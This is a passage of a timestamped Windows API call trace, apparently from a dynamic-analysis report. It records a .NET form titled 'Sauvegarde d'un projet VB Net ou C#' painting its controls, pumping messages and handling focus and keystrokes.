(matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0236.783] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0236.783] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0236.783] LocalFree (hMem=0x5fd348) returned 0x0 [0236.783] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0236.783] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0236.783] LocalFree (hMem=0x5fd348) returned 0x0 [0236.783] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0236.783] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0236.783] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0236.783] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0236.784] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0236.784] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x1) returned 0x1b00017 [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x2) returned 0x1900010 [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x7) returned 0x210506ba [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.784] SaveDC (hdc=0x2f0106c4) returned 1 [0236.784] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x580401eb [0236.784] GetClipRgn (hdc=0x2f0106c4, hrgn=0x580401eb) returned 0 [0236.784] SelectClipRgn (hdc=0x2f0106c4, hrgn=0x5a040789) returned 2 [0236.784] DeleteObject (ho=0x580401eb) returned 1 [0236.784] DeleteObject (ho=0x5a040789) returned 1 [0236.784] OffsetViewportOrgEx (in: hdc=0x2f0106c4, x=0, y=0, lppt=0x2612328 | out: lppt=0x2612328) returned 1 [0236.784] DrawThemeParentBackground () returned 0x0 [0236.784] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0236.784] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0236.784] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0236.784] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0236.784] GetSystemMetrics (nIndex=42) returned 0 [0236.784] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0236.784] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0236.784] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x1) returned 0x1b00017 [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x2) returned 0x1900010 [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x7) returned 0x210506ba [0236.784] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.785] SaveDC (hdc=0x2f0106c4) returned 2 [0236.785] GetNearestColor (hdc=0x2f0106c4, color=0xf0f0f0) returned 0xf0f0f0 [0236.785] CreateSolidBrush (color=0xf0f0f0) returned 0x321006a2 [0236.785] FillRect (hDC=0x2f0106c4, lprc=0x2bdf94, hbr=0x321006a2) returned 1 [0236.785] DeleteObject (ho=0x321006a2) returned 1 [0236.785] RestoreDC (hdc=0x2f0106c4, nSavedDC=-1) returned 1 [0236.785] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0236.785] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0236.785] GetSystemMetrics (nIndex=42) returned 0 [0236.785] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0236.785] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0236.785] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0236.785] GetCurrentObject (hdc=0x2f0106c4, type=0x1) returned 0x1b00017 [0236.785] GetCurrentObject (hdc=0x2f0106c4, type=0x2) returned 0x1900010 [0236.785] GetCurrentObject (hdc=0x2f0106c4, type=0x7) returned 0x210506ba [0236.785] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.785] SaveDC (hdc=0x2f0106c4) returned 2 [0236.785] GetNearestColor (hdc=0x2f0106c4, color=0xf0f0f0) returned 0xf0f0f0 [0236.785] CreateSolidBrush (color=0xf0f0f0) returned 0x331006a2 [0236.786] FillRect (hDC=0x2f0106c4, lprc=0x2bdf34, hbr=0x331006a2) returned 1 [0236.786] DeleteObject (ho=0x331006a2) returned 1 [0236.786] RestoreDC (hdc=0x2f0106c4, nSavedDC=-1) returned 1 [0236.786] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0236.786] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0236.786] GetSystemMetrics (nIndex=42) returned 0 [0236.786] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0236.786] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0236.786] RestoreDC (hdc=0x2f0106c4, nSavedDC=-1) returned 1 [0236.786] GdipReleaseDC (graphics=0x4ae5320, hdc=0x2f0106c4) returned 0x0 [0236.786] IsAppThemed () returned 0x1 [0236.786] GetThemeAppProperties () returned 0x3 [0236.786] GetThemeAppProperties () returned 0x3 [0236.786] IsAppThemed () returned 0x1 [0236.786] GetThemeAppProperties () returned 0x3 [0236.786] GetThemeAppProperties () returned 0x3 [0236.786] IsThemePartDefined () returned 0x1 [0236.786] GdipCreateRegion (region=0x2be428) returned 0x0 [0236.786] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0236.786] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0236.786] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0236.786] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0236.786] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0236.786] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0236.787] LocalFree (hMem=0x5fd348) returned 0x0 [0236.788] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0236.788] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0236.788] LocalFree (hMem=0x5fd348) returned 0x0 [0236.788] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0236.788] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0236.788] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0236.788] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0236.788] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0236.788] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0236.788] GetCurrentObject (hdc=0x2f0106c4, type=0x1) returned 0x1b00017 [0236.788] GetCurrentObject (hdc=0x2f0106c4, type=0x2) returned 0x1900010 [0236.788] GetCurrentObject (hdc=0x2f0106c4, type=0x7) returned 0x210506ba [0236.788] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.788] SaveDC (hdc=0x2f0106c4) returned 1 [0236.788] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5b040789 [0236.788] GetClipRgn (hdc=0x2f0106c4, hrgn=0x5b040789) returned 0 [0236.788] SelectClipRgn (hdc=0x2f0106c4, hrgn=0x5a0401eb) returned 2 [0236.788] DeleteObject (ho=0x5b040789) returned 1 [0236.788] DeleteObject (ho=0x5a0401eb) returned 1 [0236.789] OffsetViewportOrgEx (in: hdc=0x2f0106c4, x=0, y=0, lppt=0x2612d60 | out: lppt=0x2612d60) returned 1 [0236.789] IsAppThemed () returned 0x1 [0236.789] GetThemeAppProperties () returned 0x3 [0236.789] GetThemeAppProperties () returned 0x3 [0236.789] DrawThemeBackground () returned 0x0 [0236.789] RestoreDC (hdc=0x2f0106c4, nSavedDC=-1) returned 1 [0236.789] GdipReleaseDC (graphics=0x4ae5320, hdc=0x2f0106c4) returned 0x0 [0236.789] GdipCreateRegion (region=0x2be410) returned 0x0 [0236.789] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0236.789] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0236.789] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0236.789] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0236.789] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0236.789] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0236.789] LocalFree (hMem=0x5fd348) returned 0x0 [0236.789] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0236.789] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0236.789] LocalFree (hMem=0x5fd348) returned 0x0 [0236.789] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0236.789] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0236.789] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0236.789] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0236.789] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0236.790] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0236.790] GetCurrentObject (hdc=0x2f0106c4, type=0x1) returned 0x1b00017 [0236.790] GetCurrentObject (hdc=0x2f0106c4, type=0x2) returned 0x1900010 [0236.790] GetCurrentObject (hdc=0x2f0106c4, type=0x7) returned 0x210506ba [0236.790] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.790] SaveDC (hdc=0x2f0106c4) returned 1 [0236.790] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5b0401eb [0236.790] GetClipRgn (hdc=0x2f0106c4, hrgn=0x5b0401eb) returned 0 [0236.790] SelectClipRgn (hdc=0x2f0106c4, hrgn=0x5c040789) returned 2 [0236.790] DeleteObject (ho=0x5b0401eb) returned 1 [0236.790] DeleteObject (ho=0x5c040789) returned 1 [0236.790] OffsetViewportOrgEx (in: hdc=0x2f0106c4, x=0, y=0, lppt=0x2613034 | out: lppt=0x2613034) returned 1 [0236.790] IsAppThemed () returned 0x1 [0236.790] GetThemeAppProperties () returned 0x3 [0236.790] GetThemeAppProperties () returned 0x3 [0236.790] GetThemeBackgroundContentRect () returned 0x0 [0236.790] RestoreDC (hdc=0x2f0106c4, nSavedDC=-1) returned 1 [0236.790] GdipReleaseDC (graphics=0x4ae5320, hdc=0x2f0106c4) returned 0x0 [0236.790] IsAppThemed () returned 0x1 [0236.790] GetThemeAppProperties () returned 0x3 [0236.790] GetThemeAppProperties () returned 0x3 [0236.790] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0236.790] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0236.790] GetCurrentObject (hdc=0x2f0106c4, type=0x1) returned 0x1b00017 [0236.791] GetCurrentObject (hdc=0x2f0106c4, type=0x2) returned 0x1900010 [0236.791] GetCurrentObject (hdc=0x2f0106c4, type=0x7) returned 0x210506ba [0236.791] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.791] SaveDC (hdc=0x2f0106c4) returned 1 [0236.791] GetTextAlign (hdc=0x2f0106c4) returned 0x0 [0236.791] GetTextColor (hdc=0x2f0106c4) returned 0x0 [0236.791] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.791] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0236.791] SelectObject (hdc=0x2f0106c4, h=0x90a01e9) returned 0x18a002e [0236.791] GetBkMode (hdc=0x2f0106c4) returned 2 [0236.791] SetBkMode (hdc=0x2f0106c4, mode=1) returned 2 [0236.791] DrawTextExW (in: hdc=0x2f0106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x26133c8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0236.791] DrawTextExW (in: hdc=0x2f0106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x26133c8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0236.792] RestoreDC (hdc=0x2f0106c4, nSavedDC=-1) returned 1 [0236.792] GdipReleaseDC (graphics=0x4ae5320, hdc=0x2f0106c4) returned 0x0 [0236.792] GetFocus () returned 0x0 [0236.792] IsAppThemed () returned 0x1 [0236.792] GetThemeAppProperties () returned 0x3 [0236.792] GetThemeAppProperties () returned 0x3 [0236.792] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0236.792] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x2f0106c4, x1=0, y1=0, rop=0xcc0020) returned 1 [0236.792] GdipReleaseDC (graphics=0x4ae5320, hdc=0x2f0106c4) returned 0x0 [0236.792] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0236.792] SelectObject (hdc=0x2f0106c4, h=0x185000f) returned 0x210506ba [0236.792] DeleteDC (hdc=0x2f0106c4) returned 1 [0236.792] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0236.792] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0236.792] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0236.792] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0236.792] WaitMessage () returned 1 [0236.865] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0236.865] IsWindowUnicode (hWnd=0x20152) returned 1 [0236.865] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0236.865] TranslateMessage (lpMsg=0x2bec18) returned 0 [0236.865] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0236.865] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0236.865] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0236.865] WaitMessage () returned 1 [0237.083] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0237.083] IsWindowUnicode (hWnd=0x1019e) returned 1 [0237.083] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0237.083] TranslateMessage (lpMsg=0x2bec18) returned 0 [0237.083] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0237.083] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0237.083] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0237.083] WaitMessage () returned 1 [0240.608] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.608] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0240.608] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0240.671] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0240.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0240.671] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0240.671] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0240.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0240.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0240.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0240.672] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0240.672] NtdllDefWindowProc_W () returned 0x0 [0240.672] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0240.680] GetFocus () returned 0x0 [0240.680] SetFocus (hWnd=0x1019c) returned 0x0 [0240.680] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0240.680] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0240.680] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0240.680] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0240.680] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0240.680] GetStockObject (i=5) returned 0x1900015 [0240.681] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0240.681] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x562800) returned 0x19 [0240.681] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0240.681] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0240.681] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0240.681] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0240.681] IsWindowUnicode (hWnd=0x1019c) returned 1 [0240.681] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.681] TranslateMessage (lpMsg=0x2bec18) returned 0 [0240.681] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0240.681] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.681] IsWindowUnicode (hWnd=0x1019c) returned 1 [0240.682] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.682] GetKeyState (nVirtKey=16) returned 0 [0240.682] GetKeyState (nVirtKey=17) returned 0 [0240.682] GetKeyState (nVirtKey=18) returned -127 [0240.682] TranslateMessage (lpMsg=0x2bec18) returned 1 [0240.682] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0240.682] GetKeyState (nVirtKey=16) returned 0 [0240.682] GetKeyState (nVirtKey=17) returned 0 [0240.682] GetKeyState (nVirtKey=18) returned -127 [0240.682] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0240.682] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.682] IsWindowUnicode (hWnd=0x1019c) returned 1 [0240.682] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.682] GetKeyState (nVirtKey=16) returned 0 [0240.682] GetKeyState (nVirtKey=17) returned 0 [0240.682] GetKeyState (nVirtKey=18) returned 1 [0240.682] TranslateMessage (lpMsg=0x2bec18) returned 1 [0240.682] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0240.682] GetKeyState (nVirtKey=16) returned 0 [0240.682] GetKeyState (nVirtKey=17) returned 0 [0240.682] GetKeyState (nVirtKey=18) returned 1 [0240.682] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0240.682] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.682] IsWindowUnicode (hWnd=0x1019c) returned 1 [0240.682] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.682] TranslateMessage (lpMsg=0x2bec18) returned 0 [0240.682] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0240.682] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x701068c [0240.682] SelectPalette (hdc=0x701068c, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0240.683] CreateCompatibleDC (hdc=0x701068c) returned 0x1701008e [0240.683] SelectObject (hdc=0x1701008e, h=0x210506ba) returned 0x185000f [0240.683] GdipCreateFromHDC (hdc=0x1701008e, graphics=0x2be714) returned 0x0 [0240.683] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0240.683] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0240.683] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0240.683] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0240.683] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0240.683] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0240.683] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0240.683] LocalFree (hMem=0x5fd4d0) returned 0x0 [0240.683] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0240.683] GdipCreateRegion (region=0x2be75c) returned 0x0 [0240.683] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0240.683] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0240.683] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0240.683] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd950dbd) returned 0x0 [0240.683] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0240.683] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0240.684] GetCurrentObject (hdc=0x1701008e, type=0x1) returned 0x1b00017 [0240.684] GetCurrentObject (hdc=0x1701008e, type=0x2) returned 0x1900010 [0240.684] GetCurrentObject (hdc=0x1701008e, type=0x7) returned 0x210506ba [0240.684] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.684] SaveDC (hdc=0x1701008e) returned 1 [0240.684] GetNearestColor (hdc=0x1701008e, color=0xf0f0f0) returned 0xf0f0f0 [0240.684] GetNearestColor (hdc=0x1701008e, color=0xa0a0a0) returned 0xa0a0a0 [0240.684] GetNearestColor (hdc=0x1701008e, color=0x696969) returned 0x696969 [0240.684] GetNearestColor (hdc=0x1701008e, color=0xa0a0a0) returned 0xa0a0a0 [0240.684] GetNearestColor (hdc=0x1701008e, color=0x0) returned 0x0 [0240.684] GetNearestColor (hdc=0x1701008e, color=0xffffff) returned 0xffffff [0240.685] GetNearestColor (hdc=0x1701008e, color=0xe5e5e5) returned 0xe5e5e5 [0240.685] GetNearestColor (hdc=0x1701008e, color=0xd7d7d7) returned 0xd7d7d7 [0240.685] GetNearestColor (hdc=0x1701008e, color=0x0) returned 0x0 [0240.685] RestoreDC (hdc=0x1701008e, nSavedDC=-1) returned 1 [0240.685] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1701008e) returned 0x0 [0240.685] IsAppThemed () returned 0x1 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] IsAppThemed () returned 0x1 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x25d53d0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0240.685] IsAppThemed () returned 0x1 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] IsAppThemed () returned 0x1 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] GetFocus () returned 0x1019c [0240.685] IsAppThemed () returned 0x1 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] GetThemeAppProperties () returned 0x3 [0240.685] IsAppThemed () returned 0x1 [0240.685] GetThemeAppProperties () returned 0x3 [0240.686] GetThemeAppProperties () returned 0x3 [0240.686] IsThemePartDefined () returned 0x1 [0240.686] IsAppThemed () returned 0x1 [0240.686] GetThemeAppProperties () returned 0x3 [0240.686] GetThemeAppProperties () returned 0x3 [0240.686] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0240.686] IsAppThemed () returned 0x1 [0240.686] GetThemeAppProperties () returned 0x3 [0240.686] GetThemeAppProperties () returned 0x3 [0240.686] IsAppThemed () returned 0x1 [0240.686] GetThemeAppProperties () returned 0x3 [0240.686] GetThemeAppProperties () returned 0x3 [0240.686] IsThemePartDefined () returned 0x1 [0240.686] GdipCreateRegion (region=0x2be484) returned 0x0 [0240.686] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0240.686] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0240.686] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0240.686] GdipIsMatrixIdentity (matrix=0x4ae5280, 